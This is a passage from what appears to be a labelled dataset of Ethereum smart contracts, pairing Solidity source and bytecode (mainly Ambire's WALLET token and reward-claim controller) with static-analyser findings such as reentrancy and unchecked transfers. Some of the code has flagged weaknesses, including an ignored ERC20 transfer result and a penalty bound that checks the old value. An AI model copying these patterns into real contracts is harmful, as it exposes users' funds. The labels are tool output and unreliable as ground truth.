5b83811015612a82578082015181840152602081019050612a67565b83811115612a91576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f52617465206d757374206265206e6f6e2d6e6567617469766500000000000000600082015250565b612ddc816129fd565b8114612de757600080fd5b50565b612df381612a0f565b8114612dfe57600080fd5b50565b612e0a81612a3b565b8114612e1557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1cf8eac30712ed8cc3fd9234c6fe5e048669b7881d8e76e3785ff9ace42b9f064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | 193 |
0xc53af25f831f31ad6256a742b3f0905bc214a430 | // SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.8.7;
// @TODO: Formatting
library LibBytes {
// @TODO: see if we can just set .length =
function trimToSize(bytes memory b, uint newLen)
internal
pure
{
require(b.length > newLen, "BytesLib: only shrinking");
assembly {
mstore(b, newLen)
}
}
/***********************************|
| Read Bytes Functions |
|__________________________________*/
/**
* @dev Reads a bytes32 value from a position in a byte array.
* @param b Byte array containing a bytes32 value.
* @param index Index in byte array of bytes32 value.
* @return result bytes32 value from byte array.
*/
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
// Arrays are prefixed by a 256 bit length parameter
index += 32;
require(b.length >= index, "BytesLib: length");
// Read the bytes32 from array memory
assembly {
result := mload(add(b, index))
}
return result;
}
}
interface IERC1271Wallet {
function isValidSignature(bytes32 hash, bytes calldata signature) external view returns (bytes4 magicValue);
}
library SignatureValidator {
using LibBytes for bytes;
enum SignatureMode {
EIP712,
EthSign,
SmartWallet,
Spoof
}
// bytes4(keccak256("isValidSignature(bytes32,bytes)"))
bytes4 constant internal ERC1271_MAGICVALUE_BYTES32 = 0x1626ba7e;
function recoverAddr(bytes32 hash, bytes memory sig) internal view returns (address) {
return recoverAddrImpl(hash, sig, false);
}
function recoverAddrImpl(bytes32 hash, bytes memory sig, bool allowSpoofing) internal view returns (address) {
require(sig.length >= 1, "SV_SIGLEN");
uint8 modeRaw;
unchecked { modeRaw = uint8(sig[sig.length - 1]); }
SignatureMode mode = SignatureMode(modeRaw);
// {r}{s}{v}{mode}
if (mode == SignatureMode.EIP712 || mode == SignatureMode.EthSign) {
require(sig.length == 66, "SV_LEN");
bytes32 r = sig.readBytes32(0);
bytes32 s = sig.readBytes32(32);
uint8 v = uint8(sig[64]);
// Hesitant about this check: seems like this is something that has no business being checked on-chain
require(v == 27 || v == 28, "SV_INVALID_V");
if (mode == SignatureMode.EthSign) hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "SV_ZERO_SIG");
return signer;
// {sig}{verifier}{mode}
} else if (mode == SignatureMode.SmartWallet) {
// 32 bytes for the addr, 1 byte for the type = 33
require(sig.length > 33, "SV_LEN_WALLET");
uint newLen;
unchecked {
newLen = sig.length - 33;
}
IERC1271Wallet wallet = IERC1271Wallet(address(uint160(uint256(sig.readBytes32(newLen)))));
sig.trimToSize(newLen);
require(ERC1271_MAGICVALUE_BYTES32 == wallet.isValidSignature(hash, sig), "SV_WALLET_INVALID");
return address(wallet);
// {address}{mode}; the spoof mode is used when simulating calls
} else if (mode == SignatureMode.Spoof && allowSpoofing) {
// This is safe cause it's specifically intended for spoofing sigs in simulation conditions, where tx.origin can be controlled
// slither-disable-next-line tx-origin
require(tx.origin == address(1), "SV_SPOOF_ORIGIN");
require(sig.length == 33, "SV_SPOOF_LEN");
sig.trimToSize(32);
return abi.decode(sig, (address));
} else revert("SV_SIGMODE");
}
}
library MerkleProof {
function isContained(bytes32 valueHash, bytes32[] memory proof, bytes32 root) internal pure returns (bool) {
bytes32 cursor = valueHash;
uint256 proofLen = proof.length;
for (uint256 i = 0; i < proofLen; i++) {
if (cursor < proof[i]) {
cursor = keccak256(abi.encodePacked(cursor, proof[i]));
} else {
cursor = keccak256(abi.encodePacked(proof[i], cursor));
}
}
return cursor == root;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract WALLETToken {
// Constants
string public constant name = "Ambire Wallet";
string public constant symbol = "WALLET";
uint8 public constant decimals = 18;
uint public constant MAX_SUPPLY = 1_000_000_000 * 1e18;
// Mutable variables
uint public totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event Approval(address indexed owner, address indexed spender, uint amount);
event Transfer(address indexed from, address indexed to, uint amount);
event SupplyControllerChanged(address indexed prev, address indexed current);
address public supplyController;
constructor(address _supplyController) {
supplyController = _supplyController;
emit SupplyControllerChanged(address(0), _supplyController);
}
function balanceOf(address owner) external view returns (uint balance) {
return balances[owner];
}
function transfer(address to, uint amount) external returns (bool success) {
balances[msg.sender] = balances[msg.sender] - amount;
balances[to] = balances[to] + amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint amount) external returns (bool success) {
balances[from] = balances[from] - amount;
allowed[from][msg.sender] = allowed[from][msg.sender] - amount;
balances[to] = balances[to] + amount;
emit Transfer(from, to, amount);
return true;
}
function approve(address spender, uint amount) external returns (bool success) {
allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function allowance(address owner, address spender) external view returns (uint remaining) {
return allowed[owner][spender];
}
// Supply control
function innerMint(address owner, uint amount) internal {
totalSupply = totalSupply + amount;
require(totalSupply < MAX_SUPPLY, 'MAX_SUPPLY');
balances[owner] = balances[owner] + amount;
// Because of https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1
emit Transfer(address(0), owner, amount);
}
function mint(address owner, uint amount) external {
require(msg.sender == supplyController, 'NOT_SUPPLYCONTROLLER');
innerMint(owner, amount);
}
function changeSupplyController(address newSupplyController) external {
require(msg.sender == supplyController, 'NOT_SUPPLYCONTROLLER');
// Emitting here does not follow checks-effects-interactions-logs, but it's safe anyway cause there are no external calls
emit SupplyControllerChanged(supplyController, newSupplyController);
supplyController = newSupplyController;
}
}
interface IStakingPool {
function enterTo(address recipient, uint amount) external;
}
contract WALLETSupplyController {
event LogNewVesting(address indexed recipient, uint start, uint end, uint amountPerSec);
event LogVestingUnset(address indexed recipient, uint end, uint amountPerSec);
event LogMintVesting(address indexed recipient, uint amount);
// solhint-disable-next-line var-name-mixedcase
WALLETToken public immutable WALLET;
mapping (address => bool) public hasGovernance;
constructor(WALLETToken token, address initialGovernance) {
hasGovernance[initialGovernance] = true;
WALLET = token;
}
// Governance and supply controller
function changeSupplyController(address newSupplyController) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
WALLET.changeSupplyController(newSupplyController);
}
function setGovernance(address addr, bool level) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// Sometimes we need to get someone to de-auth themselves, but
// it's better to protect against bricking rather than have this functionality
// we can burn conrtol by transferring control over to a contract that can't mint or by ypgrading the supply controller
require(msg.sender != addr, "CANNOT_MODIFY_SELF");
hasGovernance[addr] = level;
}
// Vesting
// Some addresses (eg StakingPools) are incentivized with a certain allowance of WALLET per year
// Also used for linear vesting of early supporters, team, etc.
// mapping of (addr => end => rate) => lastMintTime;
mapping (address => mapping(uint => mapping(uint => uint))) public vestingLastMint;
function setVesting(address recipient, uint start, uint end, uint amountPerSecond) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// no more than 10 WALLET per second; theoretical emission max should be ~8 WALLET
require(amountPerSecond <= 10e18, "AMOUNT_TOO_LARGE");
require(start >= 1643695200, "START_TOO_LOW");
require(vestingLastMint[recipient][end][amountPerSecond] == 0, "VESTING_ALREADY_SET");
vestingLastMint[recipient][end][amountPerSecond] = start;
emit LogNewVesting(recipient, start, end, amountPerSecond);
}
function unsetVesting(address recipient, uint end, uint amountPerSecond) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// AUDIT: Pending (unclaimed) vesting is lost here - this is intentional
vestingLastMint[recipient][end][amountPerSecond] = 0;
emit LogVestingUnset(recipient, end, amountPerSecond);
}
// vesting mechanism
function mintableVesting(address addr, uint end, uint amountPerSecond) public view returns (uint) {
uint lastMinted = vestingLastMint[addr][end][amountPerSecond];
if (lastMinted == 0) return 0;
// solhint-disable-next-line not-rely-on-time
if (block.timestamp > end) {
require(end > lastMinted, "VESTING_OVER");
return (end - lastMinted) * amountPerSecond;
} else {
// this means we have not started yet
// solhint-disable-next-line not-rely-on-time
if (lastMinted > block.timestamp) return 0;
// solhint-disable-next-line not-rely-on-time
return (block.timestamp - lastMinted) * amountPerSecond;
}
}
function mintVesting(address recipient, uint end, uint amountPerSecond) external {
uint amount = mintableVesting(recipient, end, amountPerSecond);
// solhint-disable-next-line not-rely-on-time
vestingLastMint[recipient][end][amountPerSecond] = block.timestamp;
WALLET.mint(recipient, amount);
emit LogMintVesting(recipient, amount);
}
//
// Rewards distribution
//
event LogUpdatePenaltyBps(uint newPenaltyBps);
event LogClaimStaked(address indexed recipient, uint claimed);
event LogClaimWithPenalty(address indexed recipient, uint received, uint burned);
uint public immutable MAX_CLAIM_NODE = 80_000_000e18;
bytes32 public lastRoot;
mapping (address => uint) public claimed;
uint public penaltyBps = 0;
function setPenaltyBps(uint _penaltyBps) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
require(penaltyBps <= 10000, "BPS_IN_RANGE");
penaltyBps = _penaltyBps;
emit LogUpdatePenaltyBps(_penaltyBps);
}
function setRoot(bytes32 newRoot) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
lastRoot = newRoot;
}
function claimWithRootUpdate(
// claim() args
uint totalRewardInTree, bytes32[] calldata proof, uint toBurnBps, IStakingPool stakingPool,
// args for updating the root
bytes32 newRoot, bytes calldata signature
) external {
address signer = SignatureValidator.recoverAddrImpl(newRoot, signature, false);
require(hasGovernance[signer], "NOT_GOVERNANCE");
lastRoot = newRoot;
claim(totalRewardInTree, proof, toBurnBps, stakingPool);
}
// claim() has two modes, either receive the full amount as xWALLET (staked WALLET) or burn some (penaltyBps) and receive the rest immediately in $WALLET
// toBurnBps is a safety parameter that serves two purposes:
// 1) prevents griefing attacks/frontrunning where governance sets penalties higher before someone's claim() gets mined
// 2) ensures that the sender really does have the intention to burn some of their tokens but receive the rest immediatey
// set toBurnBps to 0 to receive the tokens as xWALLET, set it to the current penaltyBps to receive immediately
// There is an edge case: when penaltyBps is set to 0, you pass 0 to receive everything immediately; this is intended
function claim(uint totalRewardInTree, bytes32[] memory proof, uint toBurnBps, IStakingPool stakingPool) public {
address recipient = msg.sender;
require(totalRewardInTree <= MAX_CLAIM_NODE, "MAX_CLAIM_NODE");
require(lastRoot != bytes32(0), "EMPTY_ROOT");
// Check the merkle proof
bytes32 leaf = keccak256(abi.encode(address(this), recipient, totalRewardInTree));
require(MerkleProof.isContained(leaf, proof, lastRoot), "LEAF_NOT_FOUND");
uint toClaim = totalRewardInTree - claimed[recipient];
claimed[recipient] = totalRewardInTree;
if (toBurnBps == penaltyBps) {
// Claiming in $WALLET directly: some tokens get burned immediately, but the rest go to you
uint toBurn = (toClaim * penaltyBps) / 10000;
uint toReceive = toClaim - toBurn;
// AUDIT: We can check toReceive > 0 or toBurn > 0, but there's no point since in the most common path both will be non-zero
WALLET.mint(recipient, toReceive);
WALLET.mint(address(0), toBurn);
emit LogClaimWithPenalty(recipient, toReceive, toBurn);
} else if (toBurnBps == 0) {
WALLET.mint(address(this), toClaim);
if (WALLET.allowance(address(this), address(stakingPool)) < toClaim) {
WALLET.approve(address(stakingPool), type(uint256).max);
}
stakingPool.enterTo(recipient, toClaim);
emit LogClaimStaked(recipient, toClaim);
} else {
revert("INVALID_TOBURNBPS");
}
}
// In case funds get stuck
function withdraw(IERC20 token, address to, uint256 tokenAmount) external {
require(hasGovernance[msg.sender], "NOT_GOVERNANCE");
// AUDIT: SafeERC20 or similar not needed; this is a trusted (governance only) method that doesn't modify internal accounting
// so sucess/fail does not matter
token.transfer(to, tokenAmount);
}
} | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063b58166f2116100a2578063c884ef8311610071578063c884ef831461029b578063d071821f146102bb578063d9caed12146102ce578063dab5f340146102e1578063ecfad9fd146102f457600080fd5b8063b58166f214610245578063c0ab57041461024e578063c441bdd614610261578063c846b9021461027457600080fd5b806367a2bfe1116100e957806367a2bfe11461018e5780636d9cdbc6146101a157806375051f50146101e0578063a4012b211461021f578063a4d76eb71461023257600080fd5b80630b9193941461011b578063158a1ca114610130578063478f614b146101435780634d94bc2214610156575b600080fd5b61012e6101293660046117b1565b6102fd565b005b61012e61013e366004611778565b6103ff565b61012e6101513660046117b1565b6104b0565b61017961016436600461173e565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61012e61019c3660046119a7565b610549565b6101c87f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae81565b6040516001600160a01b039091168152602001610185565b6102116101ee3660046117b1565b600160209081526000938452604080852082529284528284209052825290205481565b604051908152602001610185565b61012e61022d36600461173e565b610afa565b61012e6102403660046118db565b610ba7565b61021160025481565b61012e61025c3660046117e6565b610c77565b61012e61026f36600461183e565b610e0e565b6102117f000000000000000000000000000000000000000000422ca8b0a00a425000000081565b6102116102a936600461173e565b60036020526000908152604090205481565b6102116102c93660046117b1565b610ebb565b61012e6102dc366004611881565b610f7d565b61012e6102ef36600461183e565b611034565b61021160045481565b600061030a848484610ebb565b6001600160a01b038581166000818152600160209081526040808320898452825280832088845290915290819020429055516340c10f1960e01b81526004810191909152602481018390529192507f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae16906340c10f1990604401600060405180830381600087803b15801561039e57600080fd5b505af11580156103b2573d6000803e3d6000fd5b50505050836001600160a01b03167fbdd5132b5bbf61ddb648d3924d0e8c01cea8a1cb81481caca655aa8887dfd391826040516103f191815260200190565b60405180910390a250505050565b3360009081526020819052604090205460ff166104375760405162461bcd60e51b815260040161042e90611aee565b60405180910390fd5b336001600160a01b03831614156104855760405162461bcd60e51b815260206004820152601260248201527121a0a72727aa2fa6a7a224a32cafa9a2a62360711b604482015260640161042e565b6001600160a01b03919091166000908152602081905260409020805460ff1916911515919091179055565b3360009081526020819052604090205460ff166104df5760405162461bcd60e51b815260040161042e90611aee565b6001600160a01b0383166000818152600160209081526040808320868452825280832085845282528083209290925581518581529081018490527f5972309416e999cec84dd11b94e842023d4d9e98e67a27a03b3f81a23d49a142910160405180910390a2505050565b337f000000000000000000000000000000000000000000422ca8b0a00a42500000008511156105ab5760405162461bcd60e51b815260206004820152600e60248201526d4d41585f434c41494d5f4e4f444560901b604482015260640161042e565b6002546105e75760405162461bcd60e51b815260206004820152600a602482015269115354151657d493d3d560b21b604482015260640161042e565b604080513060208201526001600160a01b03831691810191909152606081018690526000906080016040516020818303038152906040528051906020012090506106348186600254611068565b6106715760405162461bcd60e51b815260206004820152600e60248201526d1311505197d393d517d193d5539160921b604482015260640161042e565b6001600160a01b0382166000908152600360205260408120546106949088611b6f565b6001600160a01b038416600090815260036020526040902088905560045490915085141561083a576000612710600454836106cf9190611b50565b6106d99190611b2e565b905060006106e78284611b6f565b6040516340c10f1960e01b81526001600160a01b038781166004830152602482018390529192507f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae909116906340c10f1990604401600060405180830381600087803b15801561075657600080fd5b505af115801561076a573d6000803e3d6000fd5b50506040516340c10f1960e01b815260006004820152602481018590527f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae6001600160a01b031692506340c10f199150604401600060405180830381600087803b1580156107d757600080fd5b505af11580156107eb573d6000803e3d6000fd5b505060408051848152602081018690526001600160a01b03891693507f4a5b8a6b39b3298ce4fcca257decda7fd4ba63fea5829f276d864c8a47f894a692500160405180910390a25050610af1565b84610ab5576040516340c10f1960e01b8152306004820152602481018290527f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae6001600160a01b0316906340c10f1990604401600060405180830381600087803b1580156108a757600080fd5b505af11580156108bb573d6000803e3d6000fd5b5050604051636eb1769f60e11b81523060048201526001600160a01b0387811660248301528493507f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae16915063dd62ed3e9060440160206040518083038186803b15801561092857600080fd5b505afa15801561093c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061096091906118c2565b1015610a0b5760405163095ea7b360e01b81526001600160a01b03858116600483015260001960248301527f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae169063095ea7b390604401602060405180830381600087803b1580156109d157600080fd5b505af11580156109e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a099190611821565b505b604051637c49e9a360e11b81526001600160a01b0384811660048301526024820183905285169063f893d34690604401600060405180830381600087803b158015610a5557600080fd5b505af1158015610a69573d6000803e3d6000fd5b50505050826001600160a01b03167f6e959283d36b45a40cf5ad502986bf0cfa736b75f9b6d63a86ab0ccd816952f782604051610aa891815260200190565b60405180910390a2610af1565b60405162461bcd60e51b8152602060048201526011602482015270494e56414c49445f544f4255524e42505360781b604482015260640161042e565b50505050505050565b3360009081526020819052604090205460ff16610b295760405162461bcd60e51b815260040161042e90611aee565b60405163a4012b2160e01b81526001600160a01b0382811660048301527f00000000000000000000000088800092ff476844f74dc2fc427974bbee2794ae169063a4012b2190602401600060405180830381600087803b158015610b8c57600080fd5b505af1158015610ba0573d6000803e3d6000fd5b5050505050565b6000610be98484848080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201829052509250611158915050565b6001600160a01b03811660009081526020819052604090205490915060ff16610c245760405162461bcd60e51b815260040161042e90611aee565b83600281905550610c6c898989808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508b92508a91506105499050565b505050505050505050565b3360009081526020819052604090205460ff16610ca65760405162461bcd60e51b815260040161042e90611aee565b678ac7230489e80000811115610cf15760405162461bcd60e51b815260206004820152601060248201526f414d4f554e545f544f4f5f4c4152474560801b604482015260640161042e565b6361f8cc60831015610d355760405162461bcd60e51b815260206004820152600d60248201526c53544152545f544f4f5f4c4f5760981b604482015260640161042e565b6001600160a01b0384166000908152600160209081526040808320858452825280832084845290915290205415610da45760405162461bcd60e51b8152602060048201526013602482015272159154d5125391d7d053149150511657d4d155606a1b604482015260640161042e565b6001600160a01b0384166000818152600160209081526040808320868452825280832085845282529182902086905581518681529081018590529081018390527f18a98b9b61307e98b065e66ca4e3129c7004829021e3587b84b3f37e8afd6866906060016103f1565b3360009081526020819052604090205460ff16610e3d5760405162461bcd60e51b815260040161042e90611aee565b6127106004541115610e805760405162461bcd60e51b815260206004820152600c60248201526b4250535f494e5f52414e474560a01b604482015260640161042e565b60048190556040518181527ffa636e6338825b862886e032ba20460e6d91aa20112232c40f6e2c9d603af2ab9060200160405180910390a150565b6001600160a01b0383166000908152600160209081526040808320858452825280832084845290915281205480610ef6576000915050610f76565b83421115610f5957808411610f3c5760405162461bcd60e51b815260206004820152600c60248201526b2b22a9aa24a723afa7ab22a960a11b604482015260640161042e565b82610f478286611b6f565b610f519190611b50565b915050610f76565b42811115610f6b576000915050610f76565b82610f478242611b6f565b9392505050565b3360009081526020819052604090205460ff16610fac5760405162461bcd60e51b815260040161042e90611aee565b60405163a9059cbb60e01b81526001600160a01b0383811660048301526024820183905284169063a9059cbb90604401602060405180830381600087803b158015610ff657600080fd5b505af115801561100a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102e9190611821565b50505050565b3360009081526020819052604090205460ff166110635760405162461bcd60e51b815260040161042e90611aee565b600255565b81516000908490825b8181101561114c5785818151811061108b5761108b611bcd565b60200260200101518310156110ec57828682815181106110ad576110ad611bcd565b60200260200101516040516020016110cf929190918252602082015260400190565b60405160208183030381529060405280519060200120925061113a565b8581815181106110fe576110fe611bcd565b602002602001015183604051602001611121929190918252602082015260400190565b6040516020818303038152906040528051906020012092505b8061114481611b86565b915050611071565b50509091149392505050565b60006001835110156111985760405162461bcd60e51b815260206004820152600960248201526829ab2fa9a4a3a622a760b91b604482015260640161042e565b6000836001855103815181106111b0576111b0611bcd565b016020015160f81c905060008160038111156111ce576111ce611bb7565b905060008160038111156111e4576111e4611bb7565b1480611201575060018160038111156111ff576111ff611bb7565b145b156113e15784516042146112405760405162461bcd60e51b815260206004820152600660248201526529ab2fa622a760d11b604482015260640161042e565b600061124c8682611638565b9050600061125b876020611638565b905060008760408151811061127257611272611bcd565b016020015160f81c9050601b81148061128e57508060ff16601c145b6112c95760405162461bcd60e51b815260206004820152600c60248201526b29ab2fa4a72b20a624a22fab60a11b604482015260640161042e565b60018460038111156112dd576112dd611bb7565b141561132f576040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c81018a9052605c016040516020818303038152906040528051906020012098505b604080516000808252602082018084528c905260ff841692820192909252606081018590526080810184905260019060a0016020604051602081039080840390855afa158015611383573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166113d45760405162461bcd60e51b815260206004820152600b60248201526a53565f5a45524f5f53494760a81b604482015260640161042e565b9550610f76945050505050565b60028160038111156113f5576113f5611bb7565b141561153657602185511161143c5760405162461bcd60e51b815260206004820152600d60248201526c14d597d3115397d5d053131155609a1b604482015260640161042e565b845160201901600061144e8783611638565b905061145a8783611691565b604051630b135d3f60e11b81526001600160a01b03821690631626ba7e90611488908b908b90600401611a91565b60206040518083038186803b1580156114a057600080fd5b505afa1580156114b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114d89190611857565b6001600160e01b031916630b135d3f60e11b1461152b5760405162461bcd60e51b815260206004820152601160248201527014d597d5d05313115517d2539590531251607a1b604482015260640161042e565b9350610f7692505050565b600381600381111561154a5761154a611bb7565b1480156115545750835b15611603573260011461159b5760405162461bcd60e51b815260206004820152600f60248201526e29ab2fa9a827a7a32fa7a924a3a4a760891b604482015260640161042e565b84516021146115db5760405162461bcd60e51b815260206004820152600c60248201526b29ab2fa9a827a7a32fa622a760a11b604482015260640161042e565b6115e6856020611691565b848060200190518101906115fa919061175b565b92505050610f76565b60405162461bcd60e51b815260206004820152600a60248201526953565f5349474d4f444560b01b604482015260640161042e565b6000611645602083611b16565b9150818351101561168b5760405162461bcd60e51b815260206004820152601060248201526f084f2e8cae698d2c47440d8cadccee8d60831b604482015260640161042e565b50015190565b808251116116e15760405162461bcd60e51b815260206004820152601860248201527f42797465734c69623a206f6e6c7920736872696e6b696e670000000000000000604482015260640161042e565b9052565b60008083601f8401126116f757600080fd5b50813567ffffffffffffffff81111561170f57600080fd5b60208301915083602082850101111561172757600080fd5b9250929050565b803561173981611bf9565b919050565b60006020828403121561175057600080fd5b8135610f7681611bf9565b60006020828403121561176d57600080fd5b8151610f7681611bf9565b6000806040838503121561178b57600080fd5b823561179681611bf9565b915060208301356117a681611c11565b809150509250929050565b6000806000606084860312156117c657600080fd5b83356117d181611bf9565b95602085013595506040909401359392505050565b600080600080608085870312156117fc57600080fd5b843561180781611bf9565b966020860135965060408601359560600135945092505050565b60006020828403121561183357600080fd5b8151610f7681611c11565b60006020828403121561185057600080fd5b5035919050565b60006020828403121561186957600080fd5b81516001600160e01b031981168114610f7657600080fd5b60008060006060848603121561189657600080fd5b83356118a181611bf9565b925060208401356118b181611bf9565b929592945050506040919091013590565b6000602082840312156118d457600080fd5b5051919050565b60008060008060008060008060c0898b0312156118f757600080fd5b88359750602089013567ffffffffffffffff8082111561191657600080fd5b818b0191508b601f83011261192a57600080fd5b81358181111561193957600080fd5b8c60208260051b850101111561194e57600080fd5b602083019950975060408b0135965061196960608c0161172e565b955060808b0135945060a08b013591508082111561198657600080fd5b506119938b828c016116e5565b999c989b5096995094979396929594505050565b600080600080608085870312156119bd57600080fd5b8435935060208086013567ffffffffffffffff808211156119dd57600080fd5b818801915088601f8301126119f157600080fd5b813581811115611a0357611a03611be3565b8060051b604051601f19603f83011681018181108582111715611a2857611a28611be3565b604052828152858101935084860182860187018d1015611a4757600080fd5b600095505b83861015611a6a578035855260019590950194938601938601611a4c565b50975050505060408701359350611a869150506060860161172e565b905092959194509250565b82815260006020604081840152835180604085015260005b81811015611ac557858101830151858201606001528201611aa9565b81811115611ad7576000606083870101525b50601f01601f191692909201606001949350505050565b6020808252600e908201526d4e4f545f474f5645524e414e434560901b604082015260600190565b60008219821115611b2957611b29611ba1565b500190565b600082611b4b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611b6a57611b6a611ba1565b500290565b600082821015611b8157611b81611ba1565b500390565b6000600019821415611b9a57611b9a611ba1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611c0e57600080fd5b50565b8015158114611c0e57600080fdfea2646970667358221220bfce6df266fdfb44d98420e23725cdbb8351d677111b6105d3b7f632a4a839b864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 194 |
0x926397091801f03dfe01ef546447a38151e107fe | /**
*Submitted for verification at Etherscan.io on 2021-08-18
*/
pragma solidity ^0.6.10;
// SPDX-License-Identifier: UNLICENSED
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
